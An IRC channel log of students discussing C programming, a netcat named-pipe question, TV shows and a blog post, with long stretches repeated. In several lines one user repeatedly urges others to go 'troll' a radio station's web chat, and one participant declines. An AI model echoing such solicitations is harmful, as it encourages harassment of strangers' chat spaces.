[2015-02-11T18:35:29-0500] <bob_twinkles> Hyper: oh, damn
[2015-02-11T18:35:32-0500] <+awe> Well, fair enough.
[2015-02-11T18:35:40-0500] <Hyper> (which my data doesn't have)
[2015-02-11T18:35:46-0500] <+awe> I'm sure we'll get to that.
[2015-02-11T18:35:50-0500] <Hyper> I tried using sscanf and ran into the same issue
[2015-02-11T18:35:59-0500] <Hyper> I think I'm just gonna have to go through character-by-character
[2015-02-11T18:36:13-0500] <+awe> If they mess up and teach implementation-specific stuff as general, I'm sure they'll do worse than that.
[2015-02-11T18:36:24-0500] <Fill> uni professors are usually not fluent enough in specific languages, and end up teaching common misconceptions like that
[2015-02-11T18:36:24-0500] <Fill> lol
[2015-02-11T18:36:25-0500] <Fill> suck it up :)
[2015-02-11T18:37:40-0500] <bob_twinkles> as much as I write C++ I should probably sit down and read the spec at some point
[2015-02-11T18:38:03-0500] <bob_twinkles> 's really long and I don't really have a good way of making sure I retain the information though
[2015-02-11T18:38:09-0500] <Fill> I've had lectures on Operating Systems, in which I assumed the professor would know C well enough. Sadly, sometimes what he said about some C constructs was either totally wrong, or not generally true
[2015-02-11T18:38:10-0500] <+awe> Fill: Ironically, my professor is probably very fluent in C.
[2015-02-11T18:38:27-0500] <+awe> Fill: he does GC research in C
[2015-02-11T18:38:40-0500] <Fill> oh wow
[2015-02-11T18:38:49-0500] <Fill> so maybe that was just a small honest mistake
[2015-02-11T18:38:55-0500] <+awe> I hope so.
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[2015-02-11T18:41:35-0500] <+awe> I think the most annoying thing about CS education is actually terminology.
[2015-02-11T18:41:53-0500] <+awe> I love terminology, but when I hear people who don't know anything use it, I want to harm myself.
[2015-02-11T18:42:30-0500] <+awe> For example, yesterday, someone tried to ask if a function was a first-class value in C (i.e. it can be passed around, modified, copied, etc.).
[2015-02-11T18:42:49-0500] <+awe> They asked if a function was a "primitive" because they'd heard that "in some languages, functions are primitives."
[2015-02-11T18:43:34-0500] <+awe> And my professor was so confused by the question. He just kept asking him to rephrase it and it just got worst.
[2015-02-11T18:45:08-0500] <Fill> if he hasn't touched other languages for a while, it can sound like a weird question
[2015-02-11T18:45:29-0500] <+jwoglom> it's okay to know very little about computer terminology, and it's okay to know a lot
[2015-02-11T18:45:43-0500] <+jwoglom> the bad thing is when people understand just enough, but think they know everything
[2015-02-11T18:46:15-0500] <JacobEdelman> is it okay if I don't like larry wilmore's minority report?
[2015-02-11T18:46:43-0500] <+jwoglom> i've only seen like 2 episodes, never really got into it
[2015-02-11T18:46:59-0500] <JacobEdelman> jwoglom: same, but what I've seen I have not really enjoyed
[2015-02-11T18:47:00-0500] <+jwoglom> it's a different type of show, pretty different from colbert/daily show
[2015-02-11T18:47:05-0500] <JacobEdelman> yes,
[2015-02-11T18:47:09-0500] <+jwoglom> i haven't really gotten in to it
[2015-02-11T18:47:13-0500] <JacobEdelman> and with colbert no longer there
[2015-02-11T18:47:18-0500] <JacobEdelman> and john stewart leaving
[2015-02-11T18:47:30-0500] <JacobEdelman> the only good show that will keep running is last week tonight
[2015-02-11T18:47:36-0500] <+jwoglom> :(
[2015-02-11T18:47:51-0500] <+jwoglom> someone will take over the daily show though
[2015-02-11T18:47:55-0500] <+jwoglom> but who knows who at this point
[2015-02-11T18:47:58-0500] <+jwoglom> or whether it will be good
[2015-02-11T18:48:07-0500] <JacobEdelman> none of the corresspondents seem up to it
[2015-02-11T18:48:16-0500] <+jwoglom> also, Colbert's late show comes back in september, so there's that
[2015-02-11T18:48:19-0500] <+awe> Fill: I don't blame him for not understanding. It *was* a weird question because he was totally misusing the phrase "primitive."
[2015-02-11T18:48:32-0500] <+jwoglom> honestly, it seems like the correspondents have been having a much, MUCH smaller role lately..
[2015-02-11T18:48:35-0500] <+awe> jwoglom: that's usually what the issue here is though.
[2015-02-11T18:48:45-0500] <+awe> jwoglom: People hear terminology in class, think they know what it means, and readily apply it wrongly.
[2015-02-11T18:48:55-0500] <JacobEdelman> although it might just be that the corresspondents are being forcedd into personalities not suited to being a host and can be a great host
[2015-02-11T18:49:07-0500] <+jwoglom> awe: yeah
[2015-02-11T18:49:33-0500] <+jwoglom> JacobEdelman: possibly
[2015-02-11T19:26:28-0500] <+hardmath123> Hi peoples.
[2015-02-11T19:28:36-0500] <+hardmath123> awe: I like your history post :3
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[2015-02-11T20:19:12-0500] <aaronberger> Is anybody here
[2015-02-11T20:19:30-0500] <aaronberger> Hello shoutouts to anyone
[2015-02-11T20:21:33-0500] <+hardmath123> Hi aaronberger.
[2015-02-11T20:21:38-0500] <aaronberger> hi
[2015-02-11T20:21:59-0500] <aaronberger> https://wybc.com/listen/
[2015-02-11T20:22:06-0500] <aaronberger> If you want to go there and troll the chat
[2015-02-11T20:22:10-0500] <aaronberger> that would be much appreciated
[2015-02-11T20:22:24-0500] <aaronberger> We'll be trolling till 9 or so
[2015-02-11T20:22:47-0500] <+hardmath123> ...
[2015-02-11T20:22:47-0500] <alokpathy> aaronberger: Aaron :D
[2015-02-11T20:22:57-0500] <aaronberger> hi alokpathy
[2015-02-11T20:22:59-0500] <aaronberger> !
[2015-02-11T20:23:05-0500] <alokpathy> aaronberger: Long time no talk :P
[2015-02-11T20:23:09-0500] <aaronberger> indeed
[2015-02-11T20:23:15-0500] <alokpathy> aaronberger: awe's moving back to North. You should too.
[2015-02-11T20:23:35-0500] <aaronberger> is he.?
[2015-02-11T20:23:37-0500] <aaronberger> https://wybc.com/listen/
[2015-02-11T20:23:43-0500] <aaronberger> also troll this chat for half an hour
[2015-02-11T20:23:48-0500] <alokpathy> aaronberger: He is
[2015-02-11T20:23:59-0500] <alokpathy> Don't ask him, though. He'll deny it 'cause he's a bit shy about it.
[2015-02-11T20:24:07-0500] <aaronberger> Ok
[2015-02-11T20:24:25-0500] <aaronberger> I'll be coming back during March for a 2-week spring break
[2015-02-11T20:24:31-0500] <alokpathy> onice
[2015-02-11T20:24:34-0500] <alokpathy> When in March?
[2015-02-11T20:25:43-0500] <ubuntor> hey
[2015-02-11T20:26:08-0500] <aaronberger> hey ubuntor
[2015-02-11T20:26:15-0500] <aaronberger> if you want to waste half an hour,
[2015-02-11T20:26:19-0500] <aaronberger> https://wybc.com/listen/
[2015-02-11T20:26:31-0500] <aaronberger> troll this chat for half an hour
[2015-02-11T20:27:06-0500] <ubuntor> hmm
[2015-02-11T20:27:16-0500] <aaronberger> I'm there
[2015-02-11T20:29:13-0500] <aaronberger> We need to keep the troll up guys
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[2015-02-11T20:54:21-0500] <+awe> hi aaronberger 
[2015-02-11T20:55:18-0500] <aaronberger> hi awe
[2015-02-11T20:55:21-0500] <aaronberger> https://wybc.com/listen/
[2015-02-11T20:55:29-0500] <aaronberger> can you help troll this chat for like 5 minutes
[2015-02-11T20:55:33-0500] <+awe> Nah.
[2015-02-11T20:55:41-0500] <aaronberger> ty
[2015-02-11T20:55:50-0500] <aaronberger> how goes it?
[2015-02-11T20:56:16-0500] <+awe> Good, how are you?
[2015-02-11T21:24:03-0500] <aaronberger> Fine
[2015-02-11T21:24:07-0500] <aaronberger> Working on math pset
[2015-02-11T21:24:12-0500] <aaronberger> asdf
[2015-02-11T21:26:00-0500] <alokpathy> Fun? :P
[2015-02-11T22:34:53-0500] <ubuntor> hmm, i should write a blog post on tibasic
[2015-02-11T22:36:57-0500] <LittleBobbyTables> :O
[2015-02-11T22:37:03-0500] <LittleBobbyTables> when did you get here
[2015-02-11T22:38:17-0500] <bob_twinkles> he's always here
[2015-02-11T22:38:20-0500] <bob_twinkles> listening
[2015-02-11T22:38:22-0500] <bob_twinkles> watching
[2015-02-11T22:38:24-0500] <bob_twinkles> waiting
[2015-02-11T22:38:54-0500] <LittleBobbyTables> commiserating?
[2015-02-11T22:39:14-0500] <bob_twinkles> that too, but I was going for a sinister vibe
[2015-02-11T22:39:19-0500] <bob_twinkles> commiserating doesn't really have it
[2015-02-11T22:39:36-0500] <LittleBobbyTables> I was going for the song...
[2015-02-11T22:44:03-0500] <ubuntor> whee raytracing
[2015-02-11T23:37:21-0500] <assface> >old technlogy
[2015-02-11T23:40:04-0500] <bob_twinkles> still relevant
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[2015-02-11T23:42:46-0500] • aaronberger: dead
[2015-02-11T23:43:40-0500] <alokpathy> RIP
[2015-02-11T23:57:03-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=YT7Hu7N8al8
[2015-02-12T01:03:12-0500] <+awe> ubuntor: feel free to write a blog post on whatever
[2015-02-12T01:03:31-0500] <ubuntor> will do
[2015-02-12T01:03:51-0500] <+awe> As long as it's decent, I'm happy. :p
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[2015-02-12T06:21:27-0500] <JacobEdelman> gmorning all
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[2015-02-12T07:55:35-0500] <JacobEdelman_> gmorning
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[2015-02-11T20:27:06-0500] <ubuntor> hmm
[2015-02-11T20:27:16-0500] <aaronberger> I'm there
[2015-02-11T20:29:13-0500] <aaronberger> We need to keep the troll up guys
[2015-02-11T20:54:21-0500] <+awe> hi aaronberger 
[2015-02-11T20:55:18-0500] <aaronberger> hi awe
[2015-02-11T20:55:21-0500] <aaronberger> https://wybc.com/listen/
[2015-02-11T20:55:29-0500] <aaronberger> can you help troll this chat for like 5 minutes
[2015-02-11T20:55:33-0500] <+awe> Nah.
[2015-02-11T20:55:41-0500] <aaronberger> ty
[2015-02-11T20:55:50-0500] <aaronberger> how goes it?
[2015-02-11T20:56:16-0500] <+awe> Good, how are you?
[2015-02-11T21:24:02-0500] <aaronberger> Fine
[2015-02-11T21:24:07-0500] <aaronberger> Working on math pset
[2015-02-11T21:24:12-0500] <aaronberger> asdf
[2015-02-11T21:26:00-0500] <alokpathy> Fun? :P
[2015-02-11T22:34:53-0500] <ubuntor> hmm, i should write a blog post on tibasic
[2015-02-11T22:36:57-0500] <LittleBobbyTables> :O
[2015-02-11T22:37:03-0500] <LittleBobbyTables> when did you get here
[2015-02-11T22:38:17-0500] <bob_twinkles> he's always here
[2015-02-11T22:38:19-0500] <bob_twinkles> listening
[2015-02-11T22:38:22-0500] <bob_twinkles> watching
[2015-02-11T22:38:24-0500] <bob_twinkles> waiting
[2015-02-11T22:38:54-0500] <LittleBobbyTables> commiserating?
[2015-02-11T22:39:14-0500] <bob_twinkles> that too, but I was going for a sinister vibe
[2015-02-11T22:39:19-0500] <bob_twinkles> commiserating doesn't really have it
[2015-02-11T22:39:36-0500] <LittleBobbyTables> I was going for the song...
[2015-02-11T22:44:03-0500] <ubuntor> whee raytracing
[2015-02-11T23:37:21-0500] <assface> >old technlogy
[2015-02-11T23:40:04-0500] <bob_twinkles> still relevant
[2015-02-11T23:42:46-0500] • aaronberger: dead
[2015-02-11T23:43:39-0500] <alokpathy> RIP
[2015-02-11T23:57:02-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=YT7Hu7N8al8
[2015-02-12T01:03:12-0500] <+awe> ubuntor: feel free to write a blog post on whatever
[2015-02-12T01:03:31-0500] <ubuntor> will do
[2015-02-12T01:03:51-0500] <+awe> As long as it's decent, I'm happy. :p
[2015-02-12T06:21:27-0500] <JacobEdelman> gmorning all
[2015-02-12T07:55:35-0500] <JacobEdelman_> gmorning
[2015-02-12T11:16:10-0500] <JacobEdelman_> so, if I wanna start netcat, have it run in the background and pipe its output into a file and allow me to pipe input into it later (through a named pipe), how do I do this>
[2015-02-12T11:16:12-0500] <JacobEdelman_> *?
[2015-02-12T11:16:52-0500] <JacobEdelman_> I've tried "netcat google.com 80 < input_pipe > output_file" and had no luck
[2015-02-12T11:19:00-0500] <+hardmath123> that should work?
[2015-02-12T11:24:20-0500] <JacobEdelman_> it doesn't
[2015-02-12T11:25:08-0500] <JacobEdelman_> oh wait
[2015-02-12T11:28:28-0500] <JacobEdelman_> why does this happen:
[2015-02-12T11:28:34-0500] <JacobEdelman_> https://www.irccloud.com/pastebin/6opR90vR
[2015-02-12T11:30:47-0500] <+hardmath123> echo sends EOF to input_pipe, which propagates to netcat. netcat kills the connection.
[2015-02-12T11:30:53-0500] <+hardmath123> when it gets EOF, I mean.
[2015-02-12T11:31:10-0500] <+hardmath123> try "cat - > input_pipe"
[2015-02-12T11:31:16-0500] <+hardmath123> that should work until you do ^D.
[2015-02-12T11:47:03-0500] <JacobEdelman_> okay, thanks
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[2015-02-12T13:17:59-0500] <+awe> [19:28:36]  <+hardmath123>	awe: I like your history post 😊
[2015-02-12T13:18:01-0500] <+awe> hardmath123: am glad to hear
[2015-02-12T13:18:46-0500] <+awe> hardmath123: I hope I didn't omit anything in the history though.
[2015-02-12T13:18:53-0500] <+awe> hardmath123: I was considering actually starting at HSCTF.
[2015-02-12T13:20:32-0500] <+hardmath123> I think it was pretty comprehensive.
[2015-02-12T13:26:05-0500] <+awe> O lawd.
[2015-02-12T13:26:16-0500] <+awe> We had to write strlen and strncopy as an in-class activity.
[2015-02-12T13:26:21-0500] <+awe> And he's asking people in the class to say them.
[2015-02-12T13:26:50-0500] <+awe> Hearing other people describe what they did for these insanely simple tasks is so bad.
[2015-02-12T13:26:55-0500] <+hardmath123> lol
[2015-02-12T13:27:08-0500] <+awe> Someone had THREE INTEGERS for strlen.
[2015-02-12T13:27:09-0500] <+hardmath123> So for kobe, I'm trying to implement a general-purpose long mutable string.
[2015-02-12T13:27:09-0500] <+awe> THREE.
[2015-02-12T13:27:11-0500] <+hardmath123> It's HARD.
[2015-02-12T13:27:12-0500] <+awe> _THREE_
[2015-02-12T13:28:25-0500] <+awe> YOU ONLY NEED THE COUNT.
[2015-02-12T13:28:33-0500] <+awe> WHY WOULD YOU HAVE THREE NUMBERS?
[2015-02-12T13:31:53-0500] <JacobEdelman_> ... the same reason I would have 4 integers, another string, and a float
[2015-02-12T13:31:58-0500] <JacobEdelman_> to annoy awe :P
[2015-02-12T13:32:13-0500] <+awe> They don't know me, or that they're annoying me.
[2015-02-12T13:32:18-0500] <+awe> So, I'm fairly certain that's not why.
[2015-02-12T13:32:36-0500] <JacobEdelman_> hmm... I can't think of any other reason
[2015-02-12T13:32:53-0500] <JacobEdelman_> also, awe: I like how I'm a common thread of pushing you to make stuff in your blog post
[2015-02-12T13:33:15-0500] <+awe> Well, it's true. You were bugging me about the email stuff.
[2015-02-12T13:33:26-0500] <JacobEdelman_> wait, awe
[2015-02-12T13:33:29-0500] <JacobEdelman_> you have to mention
[2015-02-12T13:33:34-0500] <JacobEdelman_> in the democracy bit
[2015-02-12T13:33:37-0500] <JacobEdelman_> how it actually went bad
[2015-02-12T13:33:41-0500] <+awe> Yeah, maybe.
[2015-02-12T13:33:42-0500] <+awe> Not right now.
[2015-02-12T13:33:44-0500] <JacobEdelman_> cause you make it sound like it just didn't work out
[2015-02-12T13:33:51-0500] <JacobEdelman_> but it didn't work out hilarously
[2015-02-12T13:33:57-0500] <JacobEdelman_> at least mention, that at one point
[2015-02-12T13:33:58-0500] <+awe> I guess.
[2015-02-12T13:34:08-0500] <JacobEdelman_> I was the owner, Pidgey was kicked
[2015-02-12T13:34:11-0500] <JacobEdelman_> and 3 people were opped
[2015-02-12T13:34:21-0500] <JacobEdelman_> (who I called demon lords of chaos or something)
[2015-02-12T13:34:30-0500] <JacobEdelman_> #pdgn literally turned into hell
[2015-02-12T13:34:46-0500] <+awe> I'll add it later.
[2015-02-12T13:34:53-0500] <+awe> I'm in my systems class, and I'm trying to write a paper.
[2015-02-12T13:35:14-0500] <JacobEdelman_> also, change "This is really only the beginning." to "This is only the beginning.", it seems cleaner that way
[2015-02-12T13:35:34-0500] <+awe> Maybe.
[2015-02-12T13:37:00-0500] <+hardmath123> awe: http://hastebin.com/qujexefabe AM I DOING THIS RIGHT?
[2015-02-12T13:37:16-0500] <+awe> wow, all caps.
[2015-02-12T13:37:36-0500] <+awe> hardmath123: questions: a) define long? b) why do you want them to be mutable?
[2015-02-12T13:37:47-0500] <JacobEdelman_> hardmath123: no, you're doing it wrong, you're using hastebin which ruined my hsctf problem
[2015-02-12T13:37:54-0500] <+awe> hardmath123: ah, by long, you mean arbitrarily length, right?
[2015-02-12T13:38:44-0500] <+hardmath123> awe: "long" means "arbitrarily long, and potentially very very long"
[2015-02-12T13:38:51-0500] <+awe> Right.
[2015-02-12T13:39:01-0500] <+hardmath123> awe: mutable means I want to be able to insert and delete arbitrary chunks of it fast.
[2015-02-12T13:39:01-0500] <+awe> I guess this seems fine?
[2015-02-12T13:39:05-0500] <+awe> I know what mutable means.
[2015-02-12T13:39:10-0500] <+awe> I was asking why you want it to be mutable.
[2015-02-12T13:39:31-0500] <+hardmath123> I clarified that because mutable could also mean "I want to be able to change any character I want fast."
[2015-02-12T13:39:32-0500] <+awe> hardmath123: can't you #pragma once in C?
[2015-02-12T13:39:52-0500] <+hardmath123> I want it to be mutable because the purpose of an editor is to edit, or mutate, strings.
[2015-02-12T13:40:01-0500] <+hardmath123> awe: What's a #pragme?
[2015-02-12T13:40:17-0500] <+awe> It's another way to define that the header is only included once.
[2015-02-12T13:40:36-0500] <+awe> Also, yeah, I just remembered kobe is a binary editor and not a programming language.
[2015-02-12T13:40:51-0500] <+awe> For some reason in my head, I was thinking of this as a language component.
[2015-02-12T13:40:53-0500] <+hardmath123> :P
[2015-02-12T13:41:03-0500] <+awe> Yeah, it looks fine to me.
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[2015-02-12T13:44:03-0500] <Hyper> awe: hardmath123: Specifically, a #pragma is a compiler-specific dierective
[2015-02-12T13:44:10-0500] <+awe> Well, yes.
[2015-02-12T13:44:18-0500] <Hyper> it's basically a place that compilers can throw anything that isn't standard
[2015-02-12T13:44:21-0500] <+awe> Well, technically, it's a preprocessor-specific directive.
[2015-02-12T13:44:29-0500] <Hyper> #pragma once is supported by basically everything though
[2015-02-12T13:44:42-0500] <JacobEdelman_> awe: digital ocean says they are interested in sponsoring hscs.io :)
[2015-02-12T13:44:46-0500] <+awe> JacobEdelman_: awesome.
[2015-02-12T13:44:56-0500] <Hyper> JacobEdelman_: woo
[2015-02-12T13:45:25-0500] <+hardmath123> see the thing is implementing all these methods is long and painful :(
[2015-02-12T13:46:19-0500] <Hyper> hardmath123: you might want to look into ropes :)
[2015-02-12T13:46:27-0500] <Hyper> though that might be more complicated than you need
[2015-02-12T13:47:42-0500] <Hyper> also for parsing then stupid csv thing I ended up doing a character-by-character read, it was pretty simple in the end :)
[2015-02-12T13:50:03-0500] <+awe> But it was simple in spite of the language, not because of it, Hyper.
[2015-02-12T13:50:25-0500] <Hyper> I'm not praising the language
[2015-02-12T13:50:28-0500] <+awe> I know.
[2015-02-12T13:50:31-0500] <+awe> It was just an observation.
[2015-02-12T13:50:34-0500] <Hyper> I'm just saying the solution I ended up with was pretty simple
[2015-02-12T13:52:16-0500] <+hardmath123> gah
[2015-02-12T13:52:17-0500] <+awe> That's good.
[2015-02-12T13:52:21-0500] <+hardmath123> i can smell the OBO errors
[2015-02-12T13:53:01-0500] <+awe> lol @ a language where you have to typedef in order to not have to write a keyword everywhere.
[2015-02-12T13:53:12-0500] <+awe> (structs)
[2015-02-12T13:53:52-0500] <Hyper> OBO?
[2015-02-12T13:53:55-0500] <+awe> off-by-one
[2015-02-12T13:54:22-0500] <Hyper> lol
[2015-02-12T14:11:13-0500] <+hardmath123> I wonder when we'll see the first pdgn netsplit. Any predictions?
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[2015-02-12T14:12:39-0500] <+awe> hardmath123: I don't know.
[2015-02-12T14:12:42-0500] <+awe> hardmath123: Hopefully not for a long time. :p
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[2015-02-12T13:35:12-0500] <JacobEdelman_> also, change "This is really only the beginning." to "This is only the beginning.", it seems cleaner that way
[2015-02-12T13:35:33-0500] <+awe> Maybe.
[2015-02-12T13:36:58-0500] <+hardmath123> awe: http://hastebin.com/qujexefabe AM I DOING THIS RIGHT?
[2015-02-12T13:37:15-0500] <+awe> wow, all caps.
[2015-02-12T13:37:34-0500] <+awe> hardmath123: questions: a) define long? b) why do you want them to be mutable?
[2015-02-12T13:37:46-0500] <JacobEdelman_> hardmath123: no, you're doing it wrong, you're using hastebin which ruined my hsctf problem
[2015-02-12T13:37:53-0500] <+awe> hardmath123: ah, by long, you mean arbitrarily length, right?
[2015-02-12T13:38:42-0500] <+hardmath123> awe: "long" means "arbitrarily long, and potentially very very long"
[2015-02-12T13:38:50-0500] <+awe> Right.
[2015-02-12T13:38:59-0500] <+hardmath123> awe: mutable means I want to be able to insert and delete arbitrary chunks of it fast.
[2015-02-12T13:39:00-0500] <+awe> I guess this seems fine?
[2015-02-12T13:39:04-0500] <+awe> I know what mutable means.
[2015-02-12T13:39:09-0500] <+awe> I was asking why you want it to be mutable.
[2015-02-12T13:39:30-0500] <+hardmath123> I clarified that because mutable could also mean "I want to be able to change any character I want fast."
[2015-02-12T13:39:30-0500] <+awe> hardmath123: can't you #pragma once in C?
[2015-02-12T13:39:50-0500] <+hardmath123> I want it to be mutable because the purpose of an editor is to edit, or mutate, strings.
[2015-02-12T13:40:00-0500] <+hardmath123> awe: What's a #pragme?
[2015-02-12T13:40:16-0500] <+awe> It's another way to define that the header is only included once.
[2015-02-12T13:40:35-0500] <+awe> Also, yeah, I just remembered kobe is a binary editor and not a programming language.
[2015-02-12T13:40:49-0500] <+awe> For some reason in my head, I was thinking of this as a language component.
[2015-02-12T13:40:52-0500] <+hardmath123> :P
[2015-02-12T13:41:02-0500] <+awe> Yeah, it looks fine to me.
[2015-02-12T13:44:01-0500] <Hyper> awe: hardmath123: Specifically, a #pragma is a compiler-specific dierective
[2015-02-12T13:44:09-0500] <+awe> Well, yes.
[2015-02-12T13:44:17-0500] <Hyper> it's basically a place that compilers can throw anything that isn't standard
[2015-02-12T13:44:20-0500] <+awe> Well, technically, it's a preprocessor-specific directive.
[2015-02-12T13:44:28-0500] <Hyper> #pragma once is supported by basically everything though
[2015-02-12T13:44:40-0500] <JacobEdelman_> awe: digital ocean says they are interested in sponsoring hscs.io :)
[2015-02-12T13:44:45-0500] <+awe> JacobEdelman_: awesome.
[2015-02-12T13:44:55-0500] <Hyper> JacobEdelman_: woo
[2015-02-12T13:45:23-0500] <+hardmath123> see the thing is implementing all these methods is long and painful :(
[2015-02-12T13:46:18-0500] <Hyper> hardmath123: you might want to look into ropes :)
[2015-02-12T13:46:26-0500] <Hyper> though that might be more complicated than you need
[2015-02-12T13:47:41-0500] <Hyper> also for parsing then stupid csv thing I ended up doing a character-by-character read, it was pretty simple in the end :)
[2015-02-12T13:50:01-0500] <+awe> But it was simple in spite of the language, not because of it, Hyper.
[2015-02-12T13:50:23-0500] <Hyper> I'm not praising the language
[2015-02-12T13:50:26-0500] <+awe> I know.
[2015-02-12T13:50:30-0500] <+awe> It was just an observation.
[2015-02-12T13:50:33-0500] <Hyper> I'm just saying the solution I ended up with was pretty simple
[2015-02-12T13:52:15-0500] <+hardmath123> gah
[2015-02-12T13:52:16-0500] <+awe> That's good.
[2015-02-12T13:52:20-0500] <+hardmath123> i can smell the OBO errors
[2015-02-12T13:53:00-0500] <+awe> lol @ a language where you have to typedef in order to not have to write a keyword everywhere.
[2015-02-12T13:53:11-0500] <+awe> (structs)
[2015-02-12T13:53:51-0500] <Hyper> OBO?
[2015-02-12T13:53:54-0500] <+awe> off-by-one
[2015-02-12T13:54:21-0500] <Hyper> lol
[2015-02-12T14:11:12-0500] <+hardmath123> I wonder when we'll see the first pdgn netsplit. Any predictions?
[2015-02-12T14:12:38-0500] <+awe> hardmath123: I don't know.
[2015-02-12T14:12:41-0500] <+awe> hardmath123: Hopefully not for a long time. :p
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[2015-02-12T13:35:12-0500] <JacobEdelman_> also, change "This is really only the beginning." to "This is only the beginning.", it seems cleaner that way
[2015-02-12T13:35:33-0500] <+awe> Maybe.
[2015-02-12T13:36:58-0500] <+hardmath123> awe: http://hastebin.com/qujexefabe AM I DOING THIS RIGHT?
[2015-02-12T13:37:15-0500] <+awe> wow, all caps.
[2015-02-12T13:37:34-0500] <+awe> hardmath123: questions: a) define long? b) why do you want them to be mutable?
[2015-02-12T13:37:46-0500] <JacobEdelman_> hardmath123: no, you're doing it wrong, you're using hastebin which ruined my hsctf problem
[2015-02-12T13:37:53-0500] <+awe> hardmath123: ah, by long, you mean arbitrarily length, right?
[2015-02-12T13:38:42-0500] <+hardmath123> awe: "long" means "arbitrarily long, and potentially very very long"
[2015-02-12T13:38:50-0500] <+awe> Right.
[2015-02-12T13:38:59-0500] <+hardmath123> awe: mutable means I want to be able to insert and delete arbitrary chunks of it fast.
[2015-02-12T13:39:00-0500] <+awe> I guess this seems fine?
[2015-02-12T13:39:04-0500] <+awe> I know what mutable means.
[2015-02-12T13:39:09-0500] <+awe> I was asking why you want it to be mutable.
[2015-02-12T13:39:30-0500] <+hardmath123> I clarified that because mutable could also mean "I want to be able to change any character I want fast."
[2015-02-12T13:39:30-0500] <+awe> hardmath123: can't you #pragma once in C?
[2015-02-12T13:39:50-0500] <+hardmath123> I want it to be mutable because the purpose of an editor is to edit, or mutate, strings.
[2015-02-12T13:40:00-0500] <+hardmath123> awe: What's a #pragme?
[2015-02-12T13:40:16-0500] <+awe> It's another way to define that the header is only included once.
[2015-02-12T13:40:35-0500] <+awe> Also, yeah, I just remembered kobe is a binary editor and not a programming language.
[2015-02-12T13:40:49-0500] <+awe> For some reason in my head, I was thinking of this as a language component.
[2015-02-12T13:40:52-0500] <+hardmath123> :P
[2015-02-12T13:41:02-0500] <+awe> Yeah, it looks fine to me.
[2015-02-12T13:44:01-0500] <Hyper> awe: hardmath123: Specifically, a #pragma is a compiler-specific dierective
[2015-02-12T13:44:09-0500] <+awe> Well, yes.
[2015-02-12T13:44:17-0500] <Hyper> it's basically a place that compilers can throw anything that isn't standard
[2015-02-12T13:44:20-0500] <+awe> Well, technically, it's a preprocessor-specific directive.
[2015-02-12T13:44:28-0500] <Hyper> #pragma once is supported by basically everything though
[2015-02-12T13:44:40-0500] <JacobEdelman_> awe: digital ocean says they are interested in sponsoring hscs.io :)
[2015-02-12T13:44:45-0500] <+awe> JacobEdelman_: awesome.
[2015-02-12T13:44:55-0500] <Hyper> JacobEdelman_: woo
[2015-02-12T13:45:23-0500] <+hardmath123> see the thing is implementing all these methods is long and painful :(
[2015-02-12T13:46:18-0500] <Hyper> hardmath123: you might want to look into ropes :)
[2015-02-12T13:46:26-0500] <Hyper> though that might be more complicated than you need
[2015-02-12T13:47:41-0500] <Hyper> also for parsing then stupid csv thing I ended up doing a character-by-character read, it was pretty simple in the end :)
[2015-02-12T13:50:01-0500] <+awe> But it was simple in spite of the language, not because of it, Hyper.
[2015-02-12T13:50:23-0500] <Hyper> I'm not praising the language
[2015-02-12T13:50:26-0500] <+awe> I know.
[2015-02-12T13:50:30-0500] <+awe> It was just an observation.
[2015-02-12T13:50:33-0500] <Hyper> I'm just saying the solution I ended up with was pretty simple
[2015-02-12T13:52:15-0500] <+hardmath123> gah
[2015-02-12T13:52:16-0500] <+awe> That's good.
[2015-02-12T13:52:20-0500] <+hardmath123> i can smell the OBO errors
[2015-02-12T13:53:00-0500] <+awe> lol @ a language where you have to typedef in order to not have to write a keyword everywhere.
[2015-02-12T13:53:11-0500] <+awe> (structs)
[2015-02-12T13:53:51-0500] <Hyper> OBO?
[2015-02-12T13:53:54-0500] <+awe> off-by-one
[2015-02-12T13:54:21-0500] <Hyper> lol
[2015-02-12T14:11:12-0500] <+hardmath123> I wonder when we'll see the first pdgn netsplit. Any predictions?
[2015-02-12T14:12:38-0500] <+awe> hardmath123: I don't know.
[2015-02-12T14:12:41-0500] <+awe> hardmath123: Hopefully not for a long time. :p
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[2015-02-12T13:35:12-0500] <JacobEdelman_> also, change "This is really only the beginning." to "This is only the beginning.", it seems cleaner that way
[2015-02-12T13:35:33-0500] <+awe> Maybe.
[2015-02-12T13:36:58-0500] <+hardmath123> awe: http://hastebin.com/qujexefabe AM I DOING THIS RIGHT?
[2015-02-12T13:37:15-0500] <+awe> wow, all caps.
[2015-02-12T13:37:34-0500] <+awe> hardmath123: questions: a) define long? b) why do you want them to be mutable?
[2015-02-12T13:37:46-0500] <JacobEdelman_> hardmath123: no, you're doing it wrong, you're using hastebin which ruined my hsctf problem
[2015-02-12T13:37:53-0500] <+awe> hardmath123: ah, by long, you mean arbitrarily length, right?
[2015-02-12T13:38:42-0500] <+hardmath123> awe: "long" means "arbitrarily long, and potentially very very long"
[2015-02-12T13:38:50-0500] <+awe> Right.
[2015-02-12T13:38:59-0500] <+hardmath123> awe: mutable means I want to be able to insert and delete arbitrary chunks of it fast.
[2015-02-12T13:39:00-0500] <+awe> I guess this seems fine?
[2015-02-12T13:39:04-0500] <+awe> I know what mutable means.
[2015-02-12T13:39:09-0500] <+awe> I was asking why you want it to be mutable.
[2015-02-12T13:39:30-0500] <+hardmath123> I clarified that because mutable could also mean "I want to be able to change any character I want fast."
[2015-02-12T13:39:30-0500] <+awe> hardmath123: can't you #pragma once in C?
[2015-02-12T13:39:50-0500] <+hardmath123> I want it to be mutable because the purpose of an editor is to edit, or mutate, strings.
[2015-02-12T13:40:00-0500] <+hardmath123> awe: What's a #pragme?
[2015-02-12T13:40:16-0500] <+awe> It's another way to define that the header is only included once.
[2015-02-12T13:40:35-0500] <+awe> Also, yeah, I just remembered kobe is a binary editor and not a programming language.
[2015-02-12T13:40:49-0500] <+awe> For some reason in my head, I was thinking of this as a language component.
[2015-02-12T13:40:52-0500] <+hardmath123> :P
[2015-02-12T13:41:02-0500] <+awe> Yeah, it looks fine to me.
[2015-02-12T13:44:01-0500] <Hyper> awe: hardmath123: Specifically, a #pragma is a compiler-specific dierective
[2015-02-12T13:44:09-0500] <+awe> Well, yes.
[2015-02-12T13:44:17-0500] <Hyper> it's basically a place that compilers can throw anything that isn't standard
[2015-02-12T13:44:20-0500] <+awe> Well, technically, it's a preprocessor-specific directive.
[2015-02-12T13:44:28-0500] <Hyper> #pragma once is supported by basically everything though
[2015-02-12T13:44:40-0500] <JacobEdelman_> awe: digital ocean says they are interested in sponsoring hscs.io :)
